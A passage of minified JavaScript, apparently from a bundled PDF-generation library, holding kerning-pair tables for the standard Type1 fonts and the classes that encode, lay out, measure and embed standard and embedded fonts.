:[0,0,15,15],rkcommaaccent:[0,0,15,15],rl:[0,0,15,15],rlacute:[0,0,15,15],rlcommaaccent:[0,0,15,15],rlslash:[0,0,15,15],rm:[0,0,25,25],rn:[0,0,25,25,-15],rnacute:[0,0,25,25,-15],rncaron:[0,0,25,25,-15],rncommaaccent:[0,0,25,25,-15],rntilde:[0,0,25,25,-15],rp:[0,0,30,30,-10],rsemicolon:[0,0,30,30],ru:[0,0,15,15],ruacute:[0,0,15,15],rucircumflex:[0,0,15,15],rudieresis:[0,0,15,15],rugrave:[0,0,15,15],ruhungarumlaut:[0,0,15,15],rumacron:[0,0,15,15],ruogonek:[0,0,15,15],ruring:[0,0,15,15],racutea:[0,0,-10,-10,0,0,-15],racuteaacute:[0,0,-10,-10,0,0,-15],racuteabreve:[0,0,-10,-10,0,0,-15],racuteacircumflex:[0,0,-10,-10,0,0,-15],racuteadieresis:[0,0,-10,-10,0,0,-15],racuteagrave:[0,0,-10,-10,0,0,-15],racuteamacron:[0,0,-10,-10,0,0,-15],racuteaogonek:[0,0,-10,-10,0,0,-15],racutearing:[0,0,-10,-10,0,0,-15],racuteatilde:[0,0,-10,-10,0,0,-15],racutecolon:[0,0,30,30],racutei:[0,0,15,15],racuteiacute:[0,0,15,15],racuteicircumflex:[0,0,15,15],racuteidieresis:[0,0,15,15],racuteigrave:[0,0,15,15],racuteimacron:[0,0,15,15],racuteiogonek:[0,0,15,15],racutek:[0,0,15,15],racutekcommaaccent:[0,0,15,15],racutel:[0,0,15,15],racutelacute:[0,0,15,15],racutelcommaaccent:[0,0,15,15],racutelslash:[0,0,15,15],racutem:[0,0,25,25],racuten:[0,0,25,25,-15],racutenacute:[0,0,25,25,-15],racutencaron:[0,0,25,25,-15],racutencommaaccent:[0,0,25,25,-15],racutentilde:[0,0,25,25,-15],racutep:[0,0,30,30,-10],racutesemicolon:[0,0,30,30],racuteu:[0,0,15,15],racuteuacute:[0,0,15,15],racuteucircumflex:[0,0,15,15],racuteudieresis:[0,0,15,15],racuteugrave:[0,0,15,15],racuteuhungarumlaut:[0,0,15,15],racuteumacron:[0,0,15,15],racuteuogonek:[0,0,15,15],racuteuring:[0,0,15,15],rcarona:[0,0,-10,-10,0,0,-15],rcaronaacute:[0,0,-10,-10,0,0,-15],rcaronabreve:[0,0,-10,-10,0,0,-15],rcaronacircumflex:[0,0,-10,-10,0,0,-15],rcaronadieresis:[0,0,-10,-10,0,0,-15],rcaronagrave:[0,0,-10,-10,0,0,-15],rcaronamacron:[0,0,-10,-10,0,0,-15],rcaronaogonek:[0,0,-10,-10,0,0,-15],rcaronaring:[0,0,-10,-10,0,0,-15],rcaronatilde:[0,0,-10,-10,0,0,-15],rcaroncolon:[0,0,30,30],rcaroni:[0,0,15,15],rcaroniacute:[0,0,15,15],rcaronicircumflex:[0,0,15,15],rcaronidieresis:[0,0,15,15],rcaronigrave:[0,0,15,15],rcaronimacron:[0,0,15,15],rcaroniogonek:[0,0,15,15],rcaronk:[0,0,15,15],rcaronkcommaaccent:[0,0,15,15],rcaronl:[0,0,15,15],rcaronlacute:[0,0,15,15],rcaronlcommaaccent:[0,0,15,15],rcaronlslash:[0,0,15,15],rcaronm:[0,0,25,25],rcaronn:[0,0,25,25,-15],rcaronnacute:[0,0,25,25,-15],rcaronncaron:[0,0,25,25,-15],rcaronncommaaccent:[0,0,25,25,-15],rcaronntilde:[0,0,25,25,-15],rcaronp:[0,0,30,30,-10],rcaronsemicolon:[0,0,30,30],rcaronu:[0,0,15,15],rcaronuacute:[0,0,15,15],rcaronucircumflex:[0,0,15,15],rcaronudieresis:[0,0,15,15],rcaronugrave:[0,0,15,15],rcaronuhungarumlaut:[0,0,15,15],rcaronumacron:[0,0,15,15],rcaronuogonek:[0,0,15,15],rcaronuring:[0,0,15,15],rcommaaccenta:[0,0,-10,-10,0,0,-15],rcommaaccentaacute:[0,0,-10,-10,0,0,-15],rcommaaccentabreve:[0,0,-10,-10,0,0,-15],rcommaaccentacircumflex:[0,0,-10,-10,0,0,-15],rcommaaccentadieresis:[0,0,-10,-10,0,0,-15],rcommaaccentagrave:[0,0,-10,-10,0,0,-15],rcommaaccentamacron:[0,0,-10,-10,0,0,-15],rcommaaccentaogonek:[0,0,-10,-10,0,0,-15],rcommaaccentaring:[0,0,-10,-10,0,0,-15],rcommaaccentatilde:[0,0,-10,-10,0,0,-15],rcommaaccentcolon:[0,0,30,30],rcommaaccenti:[0,0,15,15],rcommaaccentiacute:[0,0,15,15],rcommaaccenticircumflex:[0,0,15,15],rcommaaccentidieresis:[0,0,15,15],rcommaaccentigrave:[0,0,15,15],rcommaaccentimacron:[0,0,15,15],rcommaaccentiogonek:[0,0,15,15],rcommaaccentk:[0,0,15,15],rcommaaccentkcommaaccent:[0,0,15,15],rcommaaccentl:[0,0,15,15],rcommaaccentlacute:[0,0,15,15],rcommaaccentlcommaaccent:[0,0,15,15],rcommaaccentlslash:[0,0,15,15],rcommaaccentm:[0,0,25,25],rcommaaccentn:[0,0,25,25,-15],rcommaaccentnacute:[0,0,25,25,-15],rcommaaccentncaron:[0,0,25,25,-15],rcommaaccentncommaaccent:[0,0,25,25,-15],rcommaaccentntilde:[0,0,25,25,-15],rcommaaccentp:[0,0,30,30,-10],rcommaaccentsemicolon:[0,0,30,30],rcommaaccentu:[0,0,15,15],rcommaaccentuacute:[0,0,15,15],rcommaaccentucircumflex:[0,0,15,15],rcommaaccentudieresis:[0,0,15,15],rcommaaccentugrave:[0,0,15,15],rcommaaccentuhungarumlaut:[0,0,15,15],rcommaaccentumacron:[0,0,15,15],rcommaaccentuogonek:[0,0,15,15],rcommaaccenturing:[0,0,15,15],scomma:[0,0,-15,-15],speriod:[0,0,-15,-15],sacutecomma:[0,0,-15,-15],sacuteperiod:[0,0,-15,-15],scaroncomma:[0,0,-15,-15],scaronperiod:[0,0,-15,-15],scedillacomma:[0,0,-15,-15],scedillaperiod:[0,0,-15,-15],scommaaccentcomma:[0,0,-15,-15],scommaaccentperiod:[0,0,-15,-15],ve:[0,0,-25,-25,-10,-15,0,-15],veacute:[0,0,-25,-25,-10,-15,0,-15],vecaron:[0,0,-25,-25,-10,-15,0,-15],vecircumflex:[0,0,-25,-25,-10,-15,0,-15],vedieresis:[0,0,-25,-25,-10,-15,0,-15],vedotaccent:[0,0,-25,-25,-10,-15,0,-15],vegrave:[0,0,-25,-25,-10,-15,0,-15],vemacron:[0,0,-25,-25,-10,-15,0,-15],veogonek:[0,0,-25,-25,-10,-15,0,-15],wa:[0,0,-15,-15,0,-10,0,-10],waacute:[0,0,-15,-15,0,-10,0,-10],wabreve:[0,0,-15,-15,0,-10,0,-10],wacircumflex:[0,0,-15,-15,0,-10,0,-10],wadieresis:[0,0,-15,-15,0,-10,0,-10],wagrave:[0,0,-15,-15,0,-10,0,-10],wamacron:[0,0,-15,-15,0,-10,0,-10],waogonek:[0,0,-15,-15,0,-10,0,-10],waring:[0,0,-15,-15,0,-10,0,-10],watilde:[0,0,-15,-15,0,-10,0,-10],we:[0,0,-10,-10,0,-10],weacute:[0,0,-10,-10,0,-10],wecaron:[0,0,-10,-10,0,-10],wecircumflex:[0,0,-10,-10,0,-10],wedieresis:[0,0,-10,-10,0,-10],wedotaccent:[0,0,-10,-10,0,-10],wegrave:[0,0,-10,-10,0,-10],wemacron:[0,0,-10,-10,0,-10],weogonek:[0,0,-10,-10,0,-10],zo:[0,0,-15,-15],zoacute:[0,0,-15,-15],zocircumflex:[0,0,-15,-15],zodieresis:[0,0,-15,-15],zograve:[0,0,-15,-15],zohungarumlaut:[0,0,-15,-15],zomacron:[0,0,-15,-15],zoslash:[0,0,-15,-15],zotilde:[0,0,-15,-15],zacuteo:[0,0,-15,-15],zacuteoacute:[0,0,-15,-15],zacuteocircumflex:[0,0,-15,-15],zacuteodieresis:[0,0,-15,-15],zacuteograve:[0,0,-15,-15],zacuteohungarumlaut:[0,0,-15,-15],zacuteomacron:[0,0,-15,-15],zacuteoslash:[0,0,-15,-15],zacuteotilde:[0,0,-15,-15],zcarono:[0,0,-15,-15],zcaronoacute:[0,0,-15,-15],zcaronocircumflex:[0,0,-15,-15],zcaronodieresis:[0,0,-15,-15],zcaronograve:[0,0,-15,-15],zcaronohungarumlaut:[0,0,-15,-15],zcaronomacron:[0,0,-15,-15],zcaronoslash:[0,0,-15,-15],zcaronotilde:[0,0,-15,-15],zdotaccento:[0,0,-15,-15],zdotaccentoacute:[0,0,-15,-15],zdotaccentocircumflex:[0,0,-15,-15],zdotaccentodieresis:[0,0,-15,-15],zdotaccentograve:[0,0,-15,-15],zdotaccentohungarumlaut:[0,0,-15,-15],zdotaccentomacron:[0,0,-15,-15],zdotaccentoslash:[0,0,-15,-15],zdotaccentotilde:[0,0,-15,-15],Ap:[0,0,0,0,-25],Aquoteright:[0,0,0,0,-74,-74,-37,-111],Aacutep:[0,0,0,0,-25],Aacutequoteright:[0,0,0,0,-74,-74,-37,-111],Abrevep:[0,0,0,0,-25],Abrevequoteright:[0,0,0,0,-74,-74,-37,-111],Acircumflexp:[0,0,0,0,-25],Acircumflexquoteright:[0,0,0,0,-74,-74,-37,-111],Adieresisp:[0,0,0,0,-25],Adieresisquoteright:[0,0,0,0,-74,-74,-37,-111],Agravep:[0,0,0,0,-25],Agravequoteright:[0,0,0,0,-74,-74,-37,-111],Amacronp:[0,0,0,0,-25],Amacronquoteright:[0,0,0,0,-74,-74,-37,-111],Aogonekp:[0,0,0,0,-25],Aogonekquoteright:[0,0,0,0,-74,-74,-37,-111],Aringp:[0,0,0,0,-25],Aringquoteright:[0,0,0,0,-74,-74,-37,-111],Atildep:[0,0,0,0,-25],Atildequoteright:[0,0,0,0,-74,-74,-37,-111],Je:[0,0,0,0,-15,-40,-25],Jeacute:[0,0,0,0,-15,-40,-25],Jecaron:[0,0,0,0,-15,-40,-25],Jecircumflex:[0,0,0,0,-15,-40,-25],Jedieresis:[0,0,0,0,-15,-40,-25],Jedotaccent:[0,0,0,0,-15,-40,-25],Jegrave:[0,0,0,0,-15,-40,-25],Jemacron:[0,0,0,0,-15,-40,-25],Jeogonek:[0,0,0,0,-15,-40,-25],Jo:[0,0,0,0,-15,-40,-25],Joacute:[0,0,0,0,-15,-40,-25],Jocircumflex:[0,0,0,0,-15,-40,-25],Jodieresis:[0,0,0,0,-15,-40,-25],Jograve:[0,0,0,0,-15,-40,-25],Johungarumlaut:[0,0,0,0,-15,-40,-25],Jomacron:[0,0,0,0,-15,-40,-25],Joslash:[0,0,0,0,-15,-40,-25],Jotilde:[0,0,0,0,-15,-40,-25],NA:[0,0,0,0,-20,-30,-27,-35],NAacute:[0,0,0,0,-20,-30,-27,-35],NAbreve:[0,0,0,0,-20,-30,-27,-35],NAcircumflex:[0,0,0,0,-20,-30,-27,-35],NAdieresis:[0,0,0,0,-20,-30,-27,-35],NAgrave:[0,0,0,0,-20,-30,-27,-35],NAmacron:[0,0,0,0,-20,-30,-27,-35],NAogonek:[0,0,0,0,-20,-30,-27,-35],NAring:[0,0,0,0,-20,-30,-27,-35],NAtilde:[0,0,0,0,-20,-30,-27,-35],NacuteA:[0,0,0,0,-20,-30,-27,-35],NacuteAacute:[0,0,0,0,-20,-30,-27,-35],NacuteAbreve:[0,0,0,0,-20,-30,-27,-35],NacuteAcircumflex:[0,0,0,0,-20,-30,-27,-35],NacuteAdieresis:[0,0,0,0,-20,-30,-27,-35],NacuteAgrave:[0,0,0,0,-20,-30,-27,-35],NacuteAmacron:[0,0,0,0,-20,-30,-27,-35],NacuteAogonek:[0,0,0,0,-20,-30,-27,-35],NacuteAring:[0,0,0,0,-20,-30,-27,-35],NacuteAtilde:[0,0,0,0,-20,-30,-27,-35],NcaronA:[0,0,0,0,-20,-30,-27,-35],NcaronAacute:[0,0,0,0,-20,-30,-27,-35],NcaronAbreve:[0,0,0,0,-20,-30,-27,-35],NcaronAcircumflex:[0,0,0,0,-20,-30,-27,-35],NcaronAdieresis:[0,0,0,0,-20,-30,-27,-35],NcaronAgrave:[0,0,0,0,-20,-30,-27,-35],NcaronAmacron:[0,0,0,0,-20,-30,-27,-35],NcaronAogonek:[0,0,0,0,-20,-30,-27,-35],NcaronAring:[0,0,0,0,-20,-30,-27,-35],NcaronAtilde:[0,0,0,0,-20,-30,-27,-35],NcommaaccentA:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAacute:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAbreve:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAcircumflex:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAdieresis:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAgrave:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAmacron:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAogonek:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAring:[0,0,0,0,-20,-30,-27,-35],NcommaaccentAtilde:[0,0,0,0,-20,-30,-27,-35],NtildeA:[0,0,0,0,-20,-30,-27,-35],NtildeAacute:[0,0,0,0,-20,-30,-27,-35],NtildeAbreve:[0,0,0,0,-20,-30,-27,-35],NtildeAcircumflex:[0,0,0,0,-20,-30,-27,-35],NtildeAdieresis:[0,0,0,0,-20,-30,-27,-35],NtildeAgrave:[0,0,0,0,-20,-30,-27,-35],NtildeAmacron:[0,0,0,0,-20,-30,-27,-35],NtildeAogonek:[0,0,0,0,-20,-30,-27,-35],NtildeAring:[0,0,0,0,-20,-30,-27,-35],NtildeAtilde:[0,0,0,0,-20,-30,-27,-35],Ti:[0,0,0,0,-18,-37,-55,-35],Tiacute:[0,0,0,0,-18,-37,-55,-35],Tiogonek:[0,0,0,0,-18,-37,-55,-35],Tcaroni:[0,0,0,0,-18,-37,-55,-35],Tcaroniacute:[0,0,0,0,-18,-37,-55,-35],Tcaroniogonek:[0,0,0,0,-18,-37,-55,-35],Tcommaaccenti:[0,0,0,0,-18,-37,-55,-35],Tcommaaccentiacute:[0,0,0,0,-18,-37,-55,-35],Tcommaaccentiogonek:[0,0,0,0,-18,-37,-55,-35],Vi:[0,0,0,0,-37,-55,-74,-60],Viacute:[0,0,0,0,-37,-55,-74,-60],Vicircumflex:[0,0,0,0,-37,0,-34,-20],Vidieresis:[0,0,0,0,-37,0,-34,-20],Vigrave:[0,0,0,0,-37,0,-34,-20],Vimacron:[0,0,0,0,-37,0,-34,-20],Viogonek:[0,0,0,0,-37,-55,-74,-60],Wi:[0,0,0,0,-18,-37,-55,-40],Wiacute:[0,0,0,0,-18,-37,-55,-40],Wiogonek:[0,0,0,0,-18,-37,-55,-40],fi:[0,0,0,0,-25,0,-20,-20],gperiod:[0,0,0,0,-15,0,-15],gbreveperiod:[0,0,0,0,-15,0,-15],gcommaaccentperiod:[0,0,0,0,-15,0,-15],iv:[0,0,0,0,-10,0,0,-25],iacutev:[0,0,0,0,-10,0,0,-25],icircumflexv:[0,0,0,0,-10,0,0,-25],idieresisv:[0,0,0,0,-10,0,0,-25],igravev:[0,0,0,0,-10,0,0,-25],imacronv:[0,0,0,0,-10,0,0,-25],iogonekv:[0,0,0,0,-10,0,0,-25],ky:[0,0,0,0,-15,0,-10,-15],kyacute:[0,0,0,0,-15,0,-10,-15],kydieresis:[0,0,0,0,-15,0,-10,-15],kcommaaccenty:[0,0,0,0,-15,0,-10,-15],kcommaaccentyacute:[0,0,0,0,-15,0,-10,-15],kcommaaccentydieresis:[0,0,0,0,-15,0,-10,-15],quotedblleftA:[0,0,0,0,-10,0,0,-80],quotedblleftAacute:[0,0,0,0,-10,0,0,-80],quotedblleftAbreve:[0,0,0,0,-10,0,0,-80],quotedblleftAcircumflex:[0,0,0,0,-10,0,0,-80],quotedblleftAdieresis:[0,0,0,0,-10,0,0,-80],quotedblleftAgrave:[0,0,0,0,-10,0,0,-80],quotedblleftAmacron:[0,0,0,0,-10,0,0,-80],quotedblleftAogonek:[0,0,0,0,-10,0,0,-80],quotedblleftAring:[0,0,0,0,-10,0,0,-80],quotedblleftAtilde:[0,0,0,0,-10,0,0,-80],quoteleftA:[0,0,0,0,-10,0,0,-80],quoteleftAacute:[0,0,0,0,-10,0,0,-80],quoteleftAbreve:[0,0,0,0,-10,0,0,-80],quoteleftAcircumflex:[0,0,0,0,-10,0,0,-80],quoteleftAdieresis:[0,0,0,0,-10,0,0,-80],quoteleftAgrave:[0,0,0,0,-10,0,0,-80],quoteleftAmacron:[0,0,0,0,-10,0,0,-80],quoteleftAogonek:[0,0,0,0,-10,0,0,-80],quoteleftAring:[0,0,0,0,-10,0,0,-80],quoteleftAtilde:[0,0,0,0,-10,0,0,-80],re:[0,0,0,0,-18,0,-37],reacute:[0,0,0,0,-18,0,-37],recaron:[0,0,0,0,-18,0,-37],recircumflex:[0,0,0,0,-18,0,-37],redieresis:[0,0,0,0,-18,0,-37],redotaccent:[0,0,0,0,-18,0,-37],regrave:[0,0,0,0,-18,0,-37],remacron:[0,0,0,0,-18,0,-37],reogonek:[0,0,0,0,-18,0,-37],racutee:[0,0,0,0,-18,0,-37],racuteeacute:[0,0,0,0,-18,0,-37],racuteecaron:[0,0,0,0,-18,0,-37],racuteecircumflex:[0,0,0,0,-18,0,-37],racuteedieresis:[0,0,0,0,-18,0,-37],racuteedotaccent:[0,0,0,0,-18,0,-37],racuteegrave:[0,0,0,0,-18,0,-37],racuteemacron:[0,0,0,0,-18,0,-37],racuteeogonek:[0,0,0,0,-18,0,-37],rcarone:[0,0,0,0,-18,0,-37],rcaroneacute:[0,0,0,0,-18,0,-37],rcaronecaron:[0,0,0,0,-18,0,-37],rcaronecircumflex:[0,0,0,0,-18,0,-37],rcaronedieresis:[0,0,0,0,-18,0,-37],rcaronedotaccent:[0,0,0,0,-18,0,-37],rcaronegrave:[0,0,0,0,-18,0,-37],rcaronemacron:[0,0,0,0,-18,0,-37],rcaroneogonek:[0,0,0,0,-18,0,-37],rcommaaccente:[0,0,0,0,-18,0,-37],rcommaaccenteacute:[0,0,0,0,-18,0,-37],rcommaaccentecaron:[0,0,0,0,-18,0,-37],rcommaaccentecircumflex:[0,0,0,0,-18,0,-37],rcommaaccentedieresis:[0,0,0,0,-18,0,-37],rcommaaccentedotaccent:[0,0,0,0,-18,0,-37],rcommaaccentegrave:[0,0,0,0,-18,0,-37],rcommaaccentemacron:[0,0,0,0,-18,0,-37],rcommaaccenteogonek:[0,0,0,0,-18,0,-37],spaceA:[0,0,0,0,-55,-37,-18,-55],spaceAacute:[0,0,0,0,-55,-37,-18,-55],spaceAbreve:[0,0,0,0,-55,-37,-18,-55],spaceAcircumflex:[0,0,0,0,-55,-37,-18,-55],spaceAdieresis:[0,0,0,0,-55,-37,-18,-55],spaceAgrave:[0,0,0,0,-55,-37,-18,-55],spaceAmacron:[0,0,0,0,-55,-37,-18,-55],spaceAogonek:[0,0,0,0,-55,-37,-18,-55],spaceAring:[0,0,0,0,-55,-37,-18,-55],spaceAtilde:[0,0,0,0,-55,-37,-18,-55],Fi:[0,0,0,0,0,-40,-45],Fiacute:[0,0,0,0,0,-40,-45],Ficircumflex:[0,0,0,0,0,-40,-45],Fidieresis:[0,0,0,0,0,-40,-45],Figrave:[0,0,0,0,0,-40,-45],Fimacron:[0,0,0,0,0,-40,-45],Fiogonek:[0,0,0,0,0,-40,-45],eb:[0,0,0,0,0,-10],eacuteb:[0,0,0,0,0,-10],ecaronb:[0,0,0,0,0,-10],ecircumflexb:[0,0,0,0,0,-10],edieresisb:[0,0,0,0,0,-10],edotaccentb:[0,0,0,0,0,-10],egraveb:[0,0,0,0,0,-10],emacronb:[0,0,0,0,0,-10],eogonekb:[0,0,0,0,0,-10],ff:[0,0,0,0,0,-18,-18,-25],quoterightt:[0,0,0,0,0,-37,-30,-18],quoterighttcommaaccent:[0,0,0,0,0,-37,-30,-18],Yicircumflex:[0,0,0,0,0,0,-34],Yidieresis:[0,0,0,0,0,0,-34],Yigrave:[0,0,0,0,0,0,-34],Yimacron:[0,0,0,0,0,0,-34],Yacuteicircumflex:[0,0,0,0,0,0,-34],Yacuteidieresis:[0,0,0,0,0,0,-34],Yacuteigrave:[0,0,0,0,0,0,-34],Yacuteimacron:[0,0,0,0,0,0,-34],Ydieresisicircumflex:[0,0,0,0,0,0,-34],Ydieresisidieresis:[0,0,0,0,0,0,-34],Ydieresisigrave:[0,0,0,0,0,0,-34],Ydieresisimacron:[0,0,0,0,0,0,-34],eg:[0,0,0,0,0,0,-40,-15],egbreve:[0,0,0,0,0,0,-40,-15],egcommaaccent:[0,0,0,0,0,0,-40,-15],eacuteg:[0,0,0,0,0,0,-40,-15],eacutegbreve:[0,0,0,0,0,0,-40,-15],eacutegcommaaccent:[0,0,0,0,0,0,-40,-15],ecarong:[0,0,0,0,0,0,-40,-15],ecarongbreve:[0,0,0,0,0,0,-40,-15],ecarongcommaaccent:[0,0,0,0,0,0,-40,-15],ecircumflexg:[0,0,0,0,0,0,-40,-15],ecircumflexgbreve:[0,0,0,0,0,0,-40,-15],ecircumflexgcommaaccent:[0,0,0,0,0,0,-40,-15],edieresisg:[0,0,0,0,0,0,-40,-15],edieresisgbreve:[0,0,0,0,0,0,-40,-15],edieresisgcommaaccent:[0,0,0,0,0,0,-40,-15],edotaccentg:[0,0,0,0,0,0,-40,-15],edotaccentgbreve:[0,0,0,0,0,0,-40,-15],edotaccentgcommaaccent:[0,0,0,0,0,0,-40,-15],egraveg:[0,0,0,0,0,0,-40,-15],egravegbreve:[0,0,0,0,0,0,-40,-15],egravegcommaaccent:[0,0,0,0,0,0,-40,-15],emacrong:[0,0,0,0,0,0,-40,-15],emacrongbreve:[0,0,0,0,0,0,-40,-15],emacrongcommaaccent:[0,0,0,0,0,0,-40,-15],eogonekg:[0,0,0,0,0,0,-40,-15],eogonekgbreve:[0,0,0,0,0,0,-40,-15],eogonekgcommaaccent:[0,0,0,0,0,0,-40,-15],fiogonek:[0,0,0,0,0,0,-20],gcomma:[0,0,0,0,0,0,-10],gbrevecomma:[0,0,0,0,0,0,-10],gcommaaccentcomma:[0,0,0,0,0,0,-10],og:[0,0,0,0,0,0,-10],ogbreve:[0,0,0,0,0,0,-10],ogcommaaccent:[0,0,0,0,0,0,-10],oacuteg:[0,0,0,0,0,0,-10],oacutegbreve:[0,0,0,0,0,0,-10],oacutegcommaaccent:[0,0,0,0,0,0,-10],ocircumflexg:[0,0,0,0,0,0,-10],ocircumflexgbreve:[0,0,0,0,0,0,-10],ocircumflexgcommaaccent:[0,0,0,0,0,0,-10],odieresisg:[0,0,0,0,0,0,-10],odieresisgbreve:[0,0,0,0,0,0,-10],odieresisgcommaaccent:[0,0,0,0,0,0,-10],ograveg:[0,0,0,0,0,0,-10],ogravegbreve:[0,0,0,0,0,0,-10],ogravegcommaaccent:[0,0,0,0,0,0,-10],ohungarumlautg:[0,0,0,0,0,0,-10],ohungarumlautgbreve:[0,0,0,0,0,0,-10],ohungarumlautgcommaaccent:[0,0,0,0,0,0,-10],omacrong:[0,0,0,0,0,0,-10],omacrongbreve:[0,0,0,0,0,0,-10],omacrongcommaaccent:[0,0,0,0,0,0,-10],otildeg:[0,0,0,0,0,0,-10],otildegbreve:[0,0,0,0,0,0,-10],otildegcommaaccent:[0,0,0,0,0,0,-10],fiacute:[0,0,0,0,0,0,0,-20],ga:[0,0,0,0,0,0,0,-5],gaacute:[0,0,0,0,0,0,0,-5],gabreve:[0,0,0,0,0,0,0,-5],gacircumflex:[0,0,0,0,0,0,0,-5],gadieresis:[0,0,0,0,0,0,0,-5],gagrave:[0,0,0,0,0,0,0,-5],gamacron:[0,0,0,0,0,0,0,-5],gaogonek:[0,0,0,0,0,0,0,-5],garing:[0,0,0,0,0,0,0,-5],gatilde:[0,0,0,0,0,0,0,-5],gbrevea:[0,0,0,0,0,0,0,-5],gbreveaacute:[0,0,0,0,0,0,0,-5],gbreveabreve:[0,0,0,0,0,0,0,-5],gbreveacircumflex:[0,0,0,0,0,0,0,-5],gbreveadieresis:[0,0,0,0,0,0,0,-5],gbreveagrave:[0,0,0,0,0,0,0,-5],gbreveamacron:[0,0,0,0,0,0,0,-5],gbreveaogonek:[0,0,0,0,0,0,0,-5],gbrevearing:[0,0,0,0,0,0,0,-5],gbreveatilde:[0,0,0,0,0,0,0,-5],gcommaaccenta:[0,0,0,0,0,0,0,-5],gcommaaccentaacute:[0,0,0,0,0,0,0,-5],gcommaaccentabreve:[0,0,0,0,0,0,0,-5],gcommaaccentacircumflex:[0,0,0,0,0,0,0,-5],gcommaaccentadieresis:[0,0,0,0,0,0,0,-5],gcommaaccentagrave:[0,0,0,0,0,0,0,-5],gcommaaccentamacron:[0,0,0,0,0,0,0,-5],gcommaaccentaogonek:[0,0,0,0,0,0,0,-5],gcommaaccentaring:[0,0,0,0,0,0,0,-5],gcommaaccentatilde:[0,0,0,0,0,0,0,-5]},t6e={attributes:JNe,glyphWidths:XNe,kernPairs:e6e};const r6e=e=&gt;[e.FontName,{attributes:e,glyphWidths:{},kernPairs:{}}],n6e=e=&gt;{const{attributes:t,glyphWidths:r,kernPairs:n}=e,i=t.map(r6e);return Object.keys(r).forEach(s=&gt;{r[s].forEach((o,l)=&gt;{o&amp;&amp;(i[l][1].glyphWidths[s]=o)})}),Object.keys(n).forEach(s=&gt;{n[s].forEach((o,l)=&gt;{o&amp;&amp;(i[l][1].kernPairs[s]=o)})}),Object.fromEntries(i)},$P=n6e(t6e),i6e=e=&gt;class extends e{constructor(r,n,i){super(),this.document=r,this.name=n,this.id=i,this.font=s8.fromJson($P[this.name]),this.ascender=this.font.ascender,this.descender=this.font.descender,this.bbox=this.font.bbox,this.lineGap=this.font.lineGap}embed(){return this.dictionary.data={Type:&quot;Font&quot;,BaseFont:this.name,Subtype:&quot;Type1&quot;,Encoding:&quot;WinAnsiEncoding&quot;},this.dictionary.end()}encode(r){const n=this.font.encodeText(r),i=this.font.glyphsForString(`${r}`),s=this.font.advancesForGlyphs(i),o=[];for(let l=0;l&lt;i.length;l++){const c=i[l];o.push({xAdvance:s[l],yAdvance:0,xOffset:0,yOffset:0,advanceWidth:this.font.widthOfGlyph(c)})}return[n,o]}encodeGlyphs(r){const n=[];for(let i of Array.from(r))n.push(`00${i.id.toString(16)}`.slice(-2));return n}widthOfString(r,n){const i=this.font.glyphsForString(`${r}`),s=this.font.advancesForGlyphs(i);let o=0;for(let c of Array.from(s))o+=c;const l=n/1e3;return o*l}static isStandardFont(r){return r in $P}},t3=function(){for(var e=arguments.length,t=new Array(e),r=0;r&lt;e;r++)t[r]=arguments[r];return Array.from(t).map(i=&gt;`0000${i.toString(16)}`.slice(-4)).join(&quot;&quot;)},a6e=e=&gt;class extends e{constructor(r,n,i){super(),this.document=r,this.font=n,this.id=i,this.subset=this.font.createSubset(),this.unicode=[[0]],this.widths=[this.font.getGlyph(0).advanceWidth],this.name=this.font.postscriptName,this.scale=1e3/this.font.unitsPerEm,this.ascender=this.font.ascent*this.scale,this.descender=this.font.descent*this.scale,this.xHeight=this.font.xHeight*this.scale,this.capHeight=this.font.capHeight*this.scale,this.lineGap=this.font.lineGap*this.scale,this.bbox=this.font.bbox,this.layoutCache=Object.create(null)}layoutRun(r,n){const i=this.font.layout(r,n,void 0,void 0,&quot;ltr&quot;);for(let s=0;s&lt;i.positions.length;s++){const o=i.positions[s];for(let l in o)o[l]*=this.scale;o.advanceWidth=i.glyphs[s].advanceWidth*this.scale}return i}layoutCached(r){let n;if(n=this.layoutCache[r])return n;const i=this.layoutRun(r);return this.layoutCache[r]=i,i}layout(r,n,i){if(i==null&amp;&amp;(i=!1),n)return this.layoutRun(r,n);const s=i?null:[],o=i?null:[];let l=0,c=0,d=0;for(;d&lt;=r.length;){let u;if(d===r.length&amp;&amp;c&lt;d||(u=r.charAt(d),[&quot; &quot;,&quot;	&quot;].includes(u))){const h=this.layoutCached(r.slice(c,++d));i||(s.push(...Array.from(h.glyphs||[])),o.push(...Array.from(h.positions||[]))),l+=h.advanceWidth,c=d}else d++}return{glyphs:s,positions:o,advanceWidth:l}}encode(r,n){const{glyphs:i,positions:s}=this.layout(r,n),o=[];for(let l=0;l&lt;i.length;l++){const c=i[l],d=this.subset.includeGlyph(c.id);o.push(`0000${d.toString(16)}`.slice(-4)),this.widths[d]==null&amp;&amp;(this.widths[d]=c.advanceWidth*this.scale),this.unicode[d]==null&amp;&amp;(this.unicode[d]=c.codePoints)}return[o,s]}encodeGlyphs(r){const n=[];for(let i=0;i&lt;r.length;i++){const s=r[i],o=this.subset.includeGlyph(s.id);n.push(`0000${o.toString(16)}`.slice(-4)),this.widths[o]==null&amp;&amp;(this.widths[o]=s.advanceWidth*this.scale),this.unicode[o]==null&amp;&amp;(this.unicode[o]=s.codePoints)}return n}widthOfString(r,n,i){const s=this.layout(r,i,!0).advanceWidth,o=n/1e3;return s*o}embed(){const r=this.subset.cff!=null,n=this.document.ref();r&amp;&amp;(n.data.Subtype=&quot;CIDFontType0C&quot;),n.end(this.subset.encode());const i=((this.font[&quot;OS/2&quot;]!=null?this.font[&quot;OS/2&quot;].sFamilyClass:void 0)||0)&gt;&gt;8;let s=0;this.font.post.isFixedPitch&amp;&amp;(s|=1),1&lt;=i&amp;&amp;i&lt;=7&amp;&amp;(s|=2),s|=4,i===10&amp;&amp;(s|=8),this.font.head.macStyle.italic&amp;&amp;(s|=64);const 